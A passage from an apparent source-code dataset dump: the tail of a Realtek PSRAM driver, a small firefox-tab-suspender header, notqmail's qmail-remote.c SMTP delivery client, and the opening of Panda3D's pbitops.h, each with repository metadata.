/* set flash_cmd: write cmd to fifo */
if (type == PSRAM_TYPE_APM) {
psram_ctrl->DR[0].BYTE = 0x40;
psram_ctrl->DR[0].BYTE = 0x40;
} else {
psram_ctrl->DR[0].BYTE = 0xe0;
psram_ctrl->DR[0].BYTE = 0x00;
}
if (CR) {
psram_ctrl->DR[0].BYTE = 0x01;
} else {
psram_ctrl->DR[0].BYTE = 0x00; // IR reg read only
}
psram_ctrl->DR[0].BYTE = 0x00;
psram_ctrl->DR[0].BYTE = 0x00;
psram_ctrl->DR[0].BYTE = (u8)(addr & 0xFF);//addr
/* Enable SPI_FLASH User Mode */
psram_ctrl->SSIENR = BIT_SPIC_EN;
while (psram_ctrl->SSIENR & BIT_SPIC_EN) {
};
/* read data */
rx_num = 0;
while (rx_num < read_len) {
read_data[rx_num] = psram_ctrl->DR[0].BYTE;
rx_num += 1;
}
/* Wait transfer complete. When complete, SSIENR[0] and CTRLR0[31] is cleared by HW automatically. */
while (psram_ctrl->SR & BIT_BUSY);
/* Restore to auto mode */
psram_ctrl->CTRLR0 &= ~BIT_USER_MODE;
}
/**
* @brief set APM/Winbond PSRAM register value
* @param type: APM :0 Winbond:1
* @param addr: PSRAM register addr
* @param write_len: write data length
* @param write_data: write data buf
* @retval None
*/
NON_DRAM_TEXT_SECTION
void PSRAM_REG_Write(u32 type, u32 addr, u32 write_len, u8 *write_data)
{
SPIC_TypeDef *psram_ctrl = PSRAMC_DEV;
u32 tx_num = 0;
/* Wait spic busy done before switch to user mode */
while (psram_ctrl->SR & BIT_BUSY);
/* Enter User Mode */
psram_ctrl->CTRLR0 |= BIT_USER_MODE;
/* Disable SSIENR to program control registers*/
psram_ctrl->SSIENR = 0;
//set tx mode
psram_ctrl->CTRLR0 &= ~(TMOD(3));
/* Set RX_NDF: frame number of receiving data. TX_NDF should be set in both transmit mode and receive mode.
TX_NDF should be set to zero in receive mode to skip the TX_DATA phase. */
psram_ctrl->RX_NDF = 0;
psram_ctrl->TX_NDF = TX_NDF(write_len);
/* set flash_cmd: write cmd to fifo */
if (type == PSRAM_TYPE_APM) {
psram_ctrl->DR[0].BYTE = 0xc0;
psram_ctrl->DR[0].BYTE = 0xc0;
} else {
psram_ctrl->DR[0].BYTE = 0x60;
psram_ctrl->DR[0].BYTE = 0x00;
}
psram_ctrl->DR[0].BYTE = 0x01;
psram_ctrl->DR[0].BYTE = 0x00;
psram_ctrl->DR[0].BYTE = 0x00;
psram_ctrl->DR[0].BYTE = (u8)(addr & 0xFF);//addr
/* fill data */
for (tx_num = 0; tx_num < write_len; tx_num++) {
psram_ctrl->DR[0].BYTE = (u8) * (write_data + tx_num);
}
/* Enable SPI_FLASH User Mode */
psram_ctrl->SSIENR = BIT_SPIC_EN;
while (psram_ctrl->SSIENR & BIT_SPIC_EN) {
};
/* Wait transfer complete. When complete, SSIENR[0] and CTRLR0[31] is cleared by HW automatically. */
while (psram_ctrl->SR & BIT_BUSY);
/* Restore to auto mode */
psram_ctrl->CTRLR0 &= ~BIT_USER_MODE;
}
/**
* @brief set APM PSRAM register value
* @param cmd: APM PSRAM write mem cmd: 0x80 or 0xa0
* @param addr: APM PSRAM register addr
* @param write_len: write data length
* @param write_data: write data buf
* @retval None
*/
void PSRAM_MEM_Write(u8 cmd, u32 addr, u32 write_len, u8 *write_data)
{
SPIC_TypeDef *psram_ctrl = PSRAMC_DEV;
u32 tx_num = 0;
u32 txlen = write_len + (PsramInfo.Psram_Latency_Set - 1) * 2;
/* Wait spic busy done before switch to user mode */
while (psram_ctrl->SR & BIT_BUSY);
/* Enter User Mode */
psram_ctrl->CTRLR0 |= BIT_USER_MODE;
/* Disable SSIENR to program control registers*/
psram_ctrl->SSIENR = 0;
//set tx mode
psram_ctrl->CTRLR0 &= ~(TMOD(3));
DBG_8195A("CTRLR0 = %x %x\n", &(psram_ctrl->CTRLR0), psram_ctrl->CTRLR0);
/* Set RX_NDF: frame number of receiving data. TX_NDF should be set in both transmit mode and receive mode.
TX_NDF should be set to zero in receive mode to skip the TX_DATA phase. */
psram_ctrl->RX_NDF = 0;
psram_ctrl->TX_NDF = TX_NDF(txlen);
addr = addr - PSRAM_BASE;
/* set flash_cmd: write cmd to fifo */
psram_ctrl->DR[0].BYTE = cmd;
psram_ctrl->DR[0].BYTE = cmd;
psram_ctrl->DR[0].BYTE = (u8)((addr & 0xFF000000) >> 24);
psram_ctrl->DR[0].BYTE = (u8)((addr & 0xFF0000) >> 16);
psram_ctrl->DR[0].BYTE = (u8)((addr & 0xFF00) >> 8);
psram_ctrl->DR[0].BYTE = (u8)(addr & 0xFF);
/* fill data */
for (tx_num = 0; tx_num < (PsramInfo.Psram_Latency_Set - 1) * 2; tx_num++) {
psram_ctrl->DR[0].BYTE = 0x0;
}
/* fill data */
for (tx_num = 0; tx_num < write_len; tx_num++) {
psram_ctrl->DR[0].BYTE = (u8) * (write_data + tx_num);
}
/* Enable SPI_FLASH User Mode */
psram_ctrl->SSIENR = BIT_SPIC_EN;
while (psram_ctrl->SSIENR & BIT_SPIC_EN) {
};
/* Wait transfer complete. When complete, SSIENR[0] and CTRLR0[31] is cleared by HW automatically. */
while (psram_ctrl->SR & BIT_BUSY);
/* Restore to auto mode */
psram_ctrl->CTRLR0 &= ~BIT_USER_MODE;
}
/**
* @brief PSRAM FW calibration function
* @retval None
* @note cache will be disable during calibration
*/
BOOL PSRAM_calibration(VOID)
{
PSPHY_TypeDef *psram_phy = PSRAMPHY_DEV;
u32 caltempN = 0;
u32 phase = 0;
u32 tempPHYPara = psram_phy->PSPHY_CAL_PAR & (~PSPHY_MASK_CFG_CAL_N) & (~PSPHY_MASK_PRE_CAL_PHASE);
u32 *tempdatawr = PSRAM_CALIB_PATTERN;
u32 tempdatard[6] = {0, 0, 0, 0, 0, 0};
int window_start = -1;
int window_end = -1;
int window_size = 0;
int windowt_start = -1;
int windowt_size = 0;
int windowt_end = -1;
int phase_cnt = -1;
DCache_CleanInvalidate(0xFFFFFFFF, 0xFFFFFFFF);
DCache_Disable();
/*Disable HW calibration*/
psram_phy->PSPHY_CAL_CTRL &= (~PSPHY_BIT_CFG_CAL_EN);
for (phase = 0x1; phase <= 0x8; phase = phase * 2) {
windowt_size = 0;
windowt_start = -1;
windowt_end = -1;
//DBG_8195A("===phase %x =====\n",phase);
for (caltempN = 0; caltempN < 32; caltempN++) {
psram_phy->PSPHY_CAL_PAR = tempPHYPara | caltempN | PSPHY_PRE_CAL_PHASE(phase);
HAL_WRITE32(PSRAM_BASE, 0x0, tempdatawr[0]);
HAL_WRITE32(PSRAM_BASE, 0x50000, tempdatawr[1]);
HAL_WRITE32(PSRAM_BASE, 0x100000, tempdatawr[2]);
HAL_WRITE32(PSRAM_BASE, 0x150000, tempdatawr[3]);
HAL_WRITE32(PSRAM_BASE, 0x200000, tempdatawr[4]);
HAL_WRITE32(PSRAM_BASE, 0x250000, tempdatawr[5]);
tempdatard[0] = HAL_READ32(PSRAM_BASE, 0x0);
tempdatard[1] = HAL_READ32(PSRAM_BASE, 0x50000);
tempdatard[2] = HAL_READ32(PSRAM_BASE, 0x100000);
tempdatard[3] = HAL_READ32(PSRAM_BASE, 0x150000);
tempdatard[4] = HAL_READ32(PSRAM_BASE, 0x200000);
tempdatard[5] = HAL_READ32(PSRAM_BASE, 0x250000);
if (_memcmp(tempdatard, PSRAM_CALIB_PATTERN, 24) == 0) {
//DBG_8195A("ok %x %x %x %x %x %x %x\n",caltempN, tempdatard[0],tempdatard[1],tempdatard[2],tempdatard[3],tempdatard[4],tempdatard[5]);
if (windowt_start < 0) {
windowt_start = caltempN;
}
windowt_end = windowt_start + windowt_size;
windowt_size ++;
if (caltempN == (32 - 1)) {
if (windowt_size > window_size) {
window_start = windowt_start;
window_end = windowt_end;
window_size = windowt_size;
phase_cnt = phase;
}
}
} else {
//DBG_8195A("fail %x %x %x %x %x %x %x\n",caltempN, tempdatard[0],tempdatard[1],tempdatard[2],tempdatard[3],tempdatard[4],tempdatard[5]);
if (windowt_start >= 0) {
if (windowt_size > window_size) {
window_start = windowt_start;
window_end = windowt_end;
window_size = windowt_size;
phase_cnt = phase;
}
windowt_start = -1;
windowt_size = 0;
windowt_end = -1;
}
}
}
}
DBG_8195A("CalNmin = %x CalNmax = %x WindowSize = %x phase: %x \n", window_start, window_end, window_size, phase_cnt);
DCache_Enable();
if ((window_size) < 9) {
return _FALSE;
}
//tempPHYPara &= (~0xfffff);
tempPHYPara = PSPHY_CFG_CAL_JMAX((window_end - window_start) / 2 - 2) | \
PSPHY_CFG_CAL_JMIN(Psram_phy_Jmin) | \
PSPHY_CFG_CAL_J((window_end - window_start) / 2 - 2) | \
PSPHY_CFG_CAL_N((window_end + window_start) / 2) | \
PSPHY_PRE_CAL_PHASE(phase_cnt);
psram_phy->PSPHY_CAL_PAR = tempPHYPara;
/*start HW calibration*/
psram_phy->PSPHY_CAL_CTRL |= PSPHY_BIT_CFG_CAL_EN;
return _TRUE;
}
/**
* @brief Enable/Disable Psram auto gating function for power saving.
* @param Enable: Enable or Disable autogating function.
* @param IDleCnt: idle counter setting, unit us.
* @param ResumeCnt: dq pads resume counter setting, unit us.
* @retval None
* @note only in auto mode, disacle before using user mode
*/
NON_DRAM_TEXT_SECTION
void PSRAM_AutoGating(u32 Enable, u32 IDleCnt, u32 ResumeCnt)
{
u32 Rtemp = 0;
if (Enable) {
Rtemp = HAL_READ32(SYSTEM_CTRL_BASE, REG_LSYS_CKD_GRP1);
Rtemp |= LSYS_BIT_CKD_XTAL_2M_EN;
HAL_WRITE32(SYSTEM_CTRL_BASE, REG_LSYS_CKD_GRP1, Rtemp);
Rtemp = HAL_READ32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL0);
Rtemp &= ~(PAD_MASK_PWDPAD_RESUME_VAL | PAD_MASK_PWDPAD_IDLE_VAL);
Rtemp |= PAD_PWDPAD_RESUME_VAL(ResumeCnt);
Rtemp |= PAD_PWDPAD_IDLE_VAL(IDleCnt);
HAL_WRITE32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL0, Rtemp);
Rtemp = HAL_READ32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL0);
Rtemp |= PAD_BIT_PWDPAD_DQ_EN; //don't write 1 if user mode
HAL_WRITE32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL0, Rtemp);
} else {
Rtemp = HAL_READ32(SYSTEM_CTRL_BASE, REG_LSYS_CKD_GRP1);
Rtemp &= (~LSYS_BIT_CKD_XTAL_2M_EN);
HAL_WRITE32(SYSTEM_CTRL_BASE, REG_LSYS_CKD_GRP1, Rtemp);
Rtemp = HAL_READ32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL0);
Rtemp &= (~PAD_BIT_PWDPAD_DQ_EN); //don't write 1 if user mode
HAL_WRITE32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL0, Rtemp);
}
}
/**
* @brief set psram into half sleep mode.
* @param type: 0:apm psram type 1: winbond psram type
* @retval None
* @note None
*/
NON_DRAM_TEXT_SECTION
void set_psram_sleep_mode(u32 type)
{
u8 psram_halfsleep[2];
u32 cur_src = LSYS_GET_CKSL_PSRAM(HAL_READ32(SYSTEM_CTRL_BASE, REG_LSYS_CKSL_GRP0));
u8 psraminfo[2];
RRAM_TypeDef *rram = RRAM_DEV;
PSRAM_AutoGating(DISABLE, (uint32_t)NULL, (uint32_t)NULL);
// 50ns will be enough, check if need
DelayUs(1);
if (type == PSRAM_TYPE_APM) {
psram_halfsleep[0] = 0xF0;
psram_halfsleep[1] = 0xF0;
PSRAM_REG_Write(0, 0x06, 2, psram_halfsleep);
} else {
PSRAM_REG_Read(1, 0x0, 2, psraminfo, 0);
if (psraminfo[1] == 0x5F) {
psram_halfsleep[0] = 0xFF;
psram_halfsleep[1] = 0x20;
} else {
psram_halfsleep[0] = 0xFF;
psram_halfsleep[1] = 0xE1;
}
PSRAM_REG_Write(1, 0x1, 2, psram_halfsleep);
}
if (cur_src == BIT_LSYS_CKSL_PSRAM_LBUS) {
PSRAM_AutoGating(ENABLE, Psram_IDLETIME_XTAL, Psram_RESUMECNT_XTAL);
} else if (cur_src == BIT_LSYS_CKSL_PSRAM_CPUPLL || cur_src == BIT_LSYS_CKSL_PSRAM_DSPPLL) {
PSRAM_AutoGating(ENABLE, Psram_IDLETIME_PLL, rram->PSRAM_RESUMECNT_BOOT);
}
}
/**
* @brief Wake PSRAM from half sleep mode.
* @param type: 0:apm psram type 1: winbond psram type
* @retval None
* @note None
*/
NON_DRAM_TEXT_SECTION
void set_psram_wakeup_mode(u32 type)
{
u32 temp;
u32 cur_src = LSYS_GET_CKSL_PSRAM(HAL_READ32(SYSTEM_CTRL_BASE, REG_LSYS_CKSL_GRP0));
RRAM_TypeDef *rram = RRAM_DEV;
PSRAM_AutoGating(DISABLE, (u32)NULL, (u32)NULL);
DCache_CleanInvalidate(0x60000100, 32);
temp = HAL_READ32(0x60000100, 0);
//DBG_8195A("t: %x\n", temp);
PSPHY_TypeDef *psram_phy = PSRAMPHY_DEV;
temp = psram_phy->PSPHY_PHY_INFO;
psram_phy->PSPHY_PHY_INFO = temp;
if (type == PSRAM_TYPE_APM) {
DelayUs(150);
} else if (type == PSRAM_TYPE_WB) {
DelayUs(100);
}
DCache_Invalidate(0x60000100, 32);
if (cur_src == BIT_LSYS_CKSL_PSRAM_LBUS) {
PSRAM_AutoGating(ENABLE, Psram_IDLETIME_XTAL, Psram_RESUMECNT_XTAL);
} else if (cur_src == BIT_LSYS_CKSL_PSRAM_CPUPLL || cur_src == BIT_LSYS_CKSL_PSRAM_DSPPLL) {
PSRAM_AutoGating(ENABLE, Psram_IDLETIME_PLL, rram->PSRAM_RESUMECNT_BOOT);
}
}
NON_DRAM_TEXT_SECTION
void set_psram_suspend(void)
{
RRAM_TypeDef *rram = RRAM_DEV;
u32 Rtemp = 0;
if (rram->PSRAM_TYPE == PSRAM_TYPE_APM || rram->PSRAM_TYPE == PSRAM_TYPE_WB) {
/* psram shutdown */
set_psram_sleep_mode(rram->PSRAM_TYPE);
/* shutdown psram pad */
Rtemp = HAL_READ32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL1);
Rtemp &= ~PAD_BIT_DDR_PWDPADN_2REGU;
Rtemp |= PAD_BIT_DDR_PD_REF;
HAL_WRITE32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL1, Rtemp);
} else {
/* no psram */
return;
}
}
NON_DRAM_TEXT_SECTION
void set_psram_resume(void)
{
RRAM_TypeDef *rram = RRAM_DEV;
u32 Rtemp = 0;
if (rram->PSRAM_TYPE == PSRAM_TYPE_APM || rram->PSRAM_TYPE == PSRAM_TYPE_WB) {
/* psram re-enable */
//open psram pad
Rtemp = HAL_READ32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL1);
Rtemp |= PAD_BIT_DDR_PWDPADN_2REGU;
Rtemp &= ~PAD_BIT_DDR_PD_REF;
HAL_WRITE32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL1, Rtemp);
//psram device exit self refresh
set_psram_wakeup_mode(rram->PSRAM_TYPE);
} else {
/* no psram */
return;
}
}
/******************* (C) COPYRIGHT 2016 Realtek Semiconductor Corporation *****END OF FILE****/
|
962082bc2a3e4cb9d5b48ae90e58b57b10c9e817
|
666b57b1994d2dbfab54a796e122b0ba3cf39b58
|
/src/main/background/c/core/actions/push_event_2d_action/push_event_2d_action.h
|
8d1a03c7b4495126846b19e1e950f85ea6077420
|
[
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
Hau-Hau/firefox-tab-suspender
|
2c92049e0fdb559a3c9d8fd33b3db2f76c21fef6
|
f2030c1d42c372cfb0e6964e449f6d7ab166d0e5
|
refs/heads/develop
| 2021-12-03T11:37:48.871053
| 2021-11-27T16:24:05
| 2021-11-27T16:24:05
| 161,085,311
| 221
| 25
|
NOASSERTION
| 2021-04-20T18:05:02
| 2018-12-09T22:00:33
|
JavaScript
|
UTF-8
|
C
| false
| false
| 305
|
h
|
push_event_2d_action.h
|
#ifndef FTS_PUSH_EVENT_2D_ACTION_H
#define FTS_PUSH_EVENT_2D_ACTION_H
typedef struct {
void (*const run)(const uint32_t eventId, double** buffer, uint32_t bufferSize, const uint32_t segmentSize);
} push_event_2d_action_namespace;
extern push_event_2d_action_namespace const PushEvent2dAction;
#endif
|
4b9f0e28fe9bffc1bc507433147993ba2b009317
|
37a06095ec3cbb1891a29e9959fc3d500bb3a6dc
|
/qmail-remote.c
|
53d5fd24ea7b2d545ad4b3561ce367d1629adedf
|
[
"LicenseRef-scancode-public-domain"
] |
permissive
|
notqmail/notqmail
|
bb5e9b2c6b2e8b5d38e87ebc6dc6c59663720ca0
|
1fd3f91cf93e96be9bc9b8c6e7babc769fda359d
|
refs/heads/master
| 2023-08-30T21:17:49.742353
| 2020-06-17T17:37:59
| 2022-11-15T13:11:47
| 195,577,352
| 294
| 31
|
NOASSERTION
| 2022-11-16T16:28:19
| 2019-07-06T19:46:51
|
C
|
UTF-8
|
C
| false
| false
| 10,707
|
c
|
qmail-remote.c
|
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include "sig.h"
#include "stralloc.h"
#include "substdio.h"
#include "subfd.h"
#include "scan.h"
#include "case.h"
#include "error.h"
#include "auto_qmail.h"
#include "control.h"
#include "dns.h"
#include "quote.h"
#include "ip.h"
#include "ipalloc.h"
#include "ipme.h"
#include "gen_alloc.h"
#include "gen_allocdefs.h"
#include "str.h"
#include "now.h"
#include "exit.h"
#include "constmap.h"
#include "noreturn.h"
#include "tcpto.h"
#include "readwrite.h"
#include "timeoutconn.h"
#include "timeoutread.h"
#include "timeoutwrite.h"
#define HUGESMTPTEXT 5000
#define PORT_SMTP 25 /* silly rabbit, /etc/services is for users */
unsigned long port = PORT_SMTP;
GEN_ALLOC_typedef(saa,stralloc,sa,len,a)
GEN_ALLOC_readyplus(saa,stralloc,sa,len,a,10,saa_readyplus)
static stralloc sauninit = {0};
stralloc helohost = {0};
stralloc routes = {0};
struct constmap maproutes;
stralloc host = {0};
stralloc sender = {0};
saa reciplist = {0};
struct ip_address partner;
void out(s) char *s; { if (substdio_puts(subfdoutsmall,s) == -1) _exit(0); }
void zero() { if (substdio_put(subfdoutsmall,"\0",1) == -1) _exit(0); }
void _noreturn_ zerodie() { zero(); substdio_flush(subfdoutsmall); _exit(0); }
void outsafe(sa) stralloc *sa; { int i; char ch;
for (i = 0;i < sa->len;++i) {
ch = sa->s[i]; if (ch < 33) ch = '?'; if (ch > 126) ch = '?';
if (substdio_put(subfdoutsmall,&ch,1) == -1) _exit(0); } }
void _noreturn_ temp_nomem() { out("ZOut of memory. (#4.3.0)\n"); zerodie(); }
void _noreturn_ temp_oserr() { out("Z\
System resources temporarily unavailable. (#4.3.0)\n"); zerodie(); }
void _noreturn_ temp_noconn() { out("Z\
Sorry, I wasn't able to establish an SMTP connection. (#4.4.1)\n"); zerodie(); }
void _noreturn_ temp_read() { out("ZUnable to read message. (#4.3.0)\n"); zerodie(); }
void _noreturn_ temp_dnscanon() { out("Z\
CNAME lookup failed temporarily. (#4.4.3)\n"); zerodie(); }
void _noreturn_ temp_dns() { out("Z\
Sorry, I couldn't find any host by that name. (#4.1.2)\n"); zerodie(); }
void _noreturn_ temp_chdir() { out("Z\
Unable to switch to home directory. (#4.3.0)\n"); zerodie(); }
void _noreturn_ temp_control() { out("Z\
Unable to read control files. (#4.3.0)\n"); zerodie(); }
void _noreturn_ perm_partialline() { out("D\
SMTP cannot transfer messages with partial final lines. (#5.6.2)\n"); zerodie(); }
void _noreturn_ perm_usage() { out("D\
I (qmail-remote) was invoked improperly. (#5.3.5)\n"); zerodie(); }
void _noreturn_ perm_dns() { out("D\
Sorry, I couldn't find any host named ");
outsafe(&host);
out(". (#5.1.2)\n"); zerodie(); }
void _noreturn_ perm_nomx() { out("D\
Sorry, I couldn't find a mail exchanger or IP address. (#5.4.4)\n");
zerodie(); }
void _noreturn_ perm_ambigmx() { out("D\
Sorry. Although I'm listed as a best-preference MX or A for that host,\n\
it isn't in my control/locals file, so I don't treat it as local. (#5.4.6)\n");
zerodie(); }
void outhost()
{
char x[IPFMT];
if (substdio_put(subfdoutsmall,x,ip_fmt(x,&partner)) == -1) _exit(0);
}
int flagcritical = 0;
void _noreturn_ dropped() {
out("ZConnected to ");
outhost();
out(" but connection died. ");
if (flagcritical) out("Possible duplicate! ");
out("(#4.4.2)\n");
zerodie();
}
int timeoutconnect = 60;
int smtpfd;
int timeout = 1200;
GEN_SAFE_TIMEOUTREAD(saferead,timeout,smtpfd,dropped())
GEN_SAFE_TIMEOUTWRITE(safewrite,timeout,smtpfd,dropped())
char inbuf[1024];
substdio ssin = SUBSTDIO_FDBUF(read,0,inbuf,sizeof(inbuf));
char smtptobuf[1024];
substdio smtpto = SUBSTDIO_FDBUF(safewrite,-1,smtptobuf,sizeof(smtptobuf));
char smtpfrombuf[128];
substdio smtpfrom = SUBSTDIO_FDBUF(saferead,-1,smtpfrombuf,sizeof(smtpfrombuf));
stralloc smtptext = {0};
static void get(unsigned char *uc)
{
char *ch = (char *)uc;
substdio_get(&smtpfrom,ch,1);
if (*ch != '\r')
if (smtptext.len < HUGESMTPTEXT)
if (!stralloc_append(&smtptext,ch)) temp_nomem();
}
unsigned long smtpcode()
{
unsigned char ch;
unsigned long code;
if (!stralloc_copys(&smtptext,"")) temp_nomem();
get(&ch); code = ch - '0';
get(&ch); code = code * 10 + (ch - '0');
get(&ch); code = code * 10 + (ch - '0');
for (;;) {
get(&ch);
if (ch != '-') break;
while (ch != '\n') get(&ch);
get(&ch);
get(&ch);
get(&ch);
}
while (ch != '\n') get(&ch);
return code;
}
void outsmtptext()
{
int i;
if (smtptext.s) if (smtptext.len) {
out("Remote host said: ");
for (i = 0;i < smtptext.len;++i)
if (!smtptext.s[i]) smtptext.s[i] = '?';
if (substdio_put(subfdoutsmall,smtptext.s,smtptext.len) == -1) _exit(0);
smtptext.len = 0;
}
}
void quit(prepend,append)
char *prepend;
char *append;
{
substdio_putsflush(&smtpto,"QUIT\r\n");
/* waiting for remote side is just too ridiculous */
out(prepend);
outhost();
out(append);
out(".\n");
outsmtptext();
zerodie();
}
void blast()
{
int r;
char ch;
for (;;) {
r = substdio_get(&ssin,&ch,1);
if (r == 0) break;
if (r == -1) temp_read();
if (ch == '.')
substdio_put(&smtpto,".",1);
while (ch != '\n') {
if (ch == '\r') {
r = substdio_get(&ssin, &ch, 1);
if (r == 0)
break;
if (r == -1) temp_read();
if (ch != '\n') {
substdio_put(&smtpto, "\r\n", 2);
} else
break;
}
substdio_put(&smtpto,&ch,1);
r = substdio_get(&ssin,&ch,1);
if (r == 0) perm_partialline();
if (r == -1) temp_read();
}
substdio_put(&smtpto,"\r\n",2);
}
flagcritical = 1;
substdio_put(&smtpto,".\r\n",3);
substdio_flush(&smtpto);
}
stralloc recip = {0};
void smtp()
{
unsigned long code;
int flagbother;
int i;
if (smtpcode() != 220) quit("ZConnected to "," but greeting failed");
substdio_puts(&smtpto,"HELO ");
substdio_put(&smtpto,helohost.s,helohost.len);
substdio_puts(&smtpto,"\r\n");
substdio_flush(&smtpto);
if (smtpcode() != 250) quit("ZConnected to "," but my name was rejected");
substdio_puts(&smtpto,"MAIL FROM:<");
substdio_put(&smtpto,sender.s,sender.len);
substdio_puts(&smtpto,">\r\n");
substdio_flush(&smtpto);
code = smtpcode();
if (code >= 500) quit("DConnected to "," but sender was rejected");
if (code >= 400) quit("ZConnected to "," but sender was rejected");
flagbother = 0;
for (i = 0;i < reciplist.len;++i) {
substdio_puts(&smtpto,"RCPT TO:<");
substdio_put(&smtpto,reciplist.sa[i].s,reciplist.sa[i].len);
substdio_puts(&smtpto,">\r\n");
substdio_flush(&smtpto);
code = smtpcode();
if (code >= 500) {
out("h"); outhost(); out(" does not like recipient.\n");
outsmtptext(); zero();
}
else if (code >= 400) {
out("s"); outhost(); out(" does not like recipient.\n");
outsmtptext(); zero();
}
else {
out("r"); zero();
flagbother = 1;
}
}
if (!flagbother) quit("DGiving up on ","");
substdio_putsflush(&smtpto,"DATA\r\n");
code = smtpcode();
if (code >= 500) quit("D"," failed on DATA command");
if (code >= 400) quit("Z"," failed on DATA command");
blast();
code = smtpcode();
flagcritical = 0;
if (code >= 500) quit("D"," failed after I sent the message");
if (code >= 400) quit("Z"," failed after I sent the message");
quit("K"," accepted message");
}
stralloc canonhost = {0};
stralloc canonbox = {0};
void addrmangle(stralloc *saout, char *s)
{
int j;
j = str_rchr(s,'@');
if (!s[j]) {
if (!stralloc_copys(saout,s)) temp_nomem();
return;
}
if (!stralloc_copys(&canonbox,s)) temp_nomem();
canonbox.len = j;
/* box has to be quoted */
if (!quote(saout,&canonbox)) temp_nomem();
if (!stralloc_cats(saout,"@")) temp_nomem();
if (!stralloc_copys(&canonhost,s + j + 1)) temp_nomem();
if (!stralloc_cat(saout,&canonhost)) temp_nomem();
}
void getcontrols()
{
if (control_init() == -1) temp_control();
if (control_readint(&timeout,"control/timeoutremote") == -1) temp_control();
if (control_readint(&timeoutconnect,"control/timeoutconnect") == -1)
temp_control();
if (control_rldef(&helohost,"control/helohost",1,NULL) != 1)
temp_control();
switch(control_readfile(&routes,"control/smtproutes",0)) {
case -1:
temp_control();
case 0:
if (!constmap_init(&maproutes,"",0,1)) temp_nomem(); break;
case 1:
if (!constmap_init(&maproutes,routes.s,routes.len,1)) temp_nomem(); break;
}
}
int main(int argc, char **argv)
{
static ipalloc ip = {0};
int i;
unsigned long random;
char **recips;
unsigned long prefme;
char *relayhost;
sig_pipeignore();
if (argc < 4) perm_usage();
if (chdir(auto_qmail) == -1) temp_chdir();
getcontrols();
if (!stralloc_copys(&host,argv[1])) temp_nomem();
relayhost = 0;
for (i = 0;i <= host.len;++i)
if ((i == 0) || (i == host.len) || (host.s[i] == '.'))
if ((relayhost = constmap(&maproutes,host.s + i,host.len - i)))
break;
if (relayhost && !*relayhost) relayhost = 0;
if (relayhost) {
i = str_chr(relayhost,':');
if (relayhost[i]) {
scan_ulong(relayhost + i + 1,&port);
relayhost[i] = 0;
}
if (!stralloc_copys(&host,relayhost)) temp_nomem();
}
addrmangle(&sender,argv[2]);
if (!saa_readyplus(&reciplist,0)) temp_nomem();
if (ipme_init() != 1) temp_oserr();
recips = argv + 3;
while (*recips) {
if (!saa_readyplus(&reciplist,1)) temp_nomem();
reciplist.sa[reciplist.len] = sauninit;
addrmangle(reciplist.sa + reciplist.len,*recips);
++reciplist.len;
++recips;
}
random = now() + (getpid() << 16);
switch (relayhost ? dns_ip(&ip,&host) : dns_mxip(&ip,&host,random)) {
case DNS_MEM: temp_nomem();
case DNS_SOFT: temp_dns();
case DNS_HARD: perm_dns();
case 1:
if (ip.len <= 0) temp_dns();
}
if (ip.len <= 0) perm_nomx();
prefme = 100000;
for (i = 0;i < ip.len;++i)
if (ipme_is(&ip.ix[i].ip))
if (ip.ix[i].pref < prefme)
prefme = ip.ix[i].pref;
if (relayhost) prefme = 300000;
for (i = 0;i < ip.len;++i)
if (ip.ix[i].pref < prefme)
break;
if (i >= ip.len)
perm_ambigmx();
for (i = 0;i < ip.len;++i) if (ip.ix[i].pref < prefme) {
if (tcpto(&ip.ix[i].ip)) continue;
smtpfd = socket(AF_INET,SOCK_STREAM,0);
if (smtpfd == -1) temp_oserr();
if (timeoutconn(smtpfd,&ip.ix[i].ip,(unsigned int) port,timeoutconnect) == 0) {
tcpto_err(&ip.ix[i].ip,0);
partner = ip.ix[i].ip;
smtp(); /* does not return */
}
tcpto_err(&ip.ix[i].ip,errno == error_timeout);
close(smtpfd);
}
temp_noconn();
}
|
622a942af9bf270d8764bfc5a40ea475d8d016e8
|
c7c73566784a7896100e993606e1bd8fdd0ea94e
|
/panda/src/putil/pbitops.h
|
342827f983a2a1342ddf5f56e1b952715ca12f3b
|
[
"BSD-3-Clause",
"BSD-2-Clause"
] |
permissive
|
panda3d/panda3d
|
c3f94df2206ff7cfe4a3b370777a56fb11a07926
|
160ba090a5e80068f61f34fc3d6f49dbb6ad52c5
|
refs/heads/master
| 2023-08-21T13:23:16.904756
| 2021-04-11T22:55:33
| 2023-08-06T06:09:32
| 13,212,165
| 4,417
| 1,072
|
NOASSERTION
| 2023-09-09T19:26:14
| 2013-09-30T10:20:25
|
C++
|
UTF-8
|
C
| false
| false
| 2,006
|
h
|
pbitops.h
|
/**
* PANDA 3D SOFTWARE
* Copyright (c) Carnegie Mellon University. All rights reserved.
*
* All use of this software is subject to the terms of the revised BSD
* license. You should have received a copy of this license along
* with this source code in a file named "LICENSE."
*
* @file pbitops.h
* @author drose
* @date 2008-05-10
*/
#ifndef PBITOPS_H
#define PBITOPS_H
#include "pandabase.h"
#include "numeric_types.h"
#if defined(_MSC_VER) && !defined(CPPPARSER)
#include <intrin.h>
#endif
// This file defines a few low-level bit-operation routines, optimized all to
// heck.
INLINE int count_bits_in_word(unsigned short x);
INLINE int count_bits_in_word(unsigned int x);
INLINE int count_bits_in_word(unsigned long x);
INLINE int count_bits_in_word(unsigned long long x);
INLINE unsigned short flood_bits_down(unsigned short x);
INLINE unsigned int flood_bits_down(unsigned int x);
INLINE unsigned long flood_bits_down(unsigned long x);
INLINE unsigned long long flood_bits_down(unsigned long long x);
INLINE unsigned short flood_bits_up(unsigned short x);
INLINE unsigned int flood_bits_up(unsigned int x);
INLINE unsigned long flood_bits_up(unsigned long x);
INLINE unsigned long long flood_bits_up(unsigned long long x);
INLINE int get_lowest_on_bit(unsigned short x);
INLINE int get_lowest_on_bit(unsigned int x);
INLINE int get_lowest_on_bit(unsigned long x);
INLINE int get_lowest_on_bit(unsigned long long x);
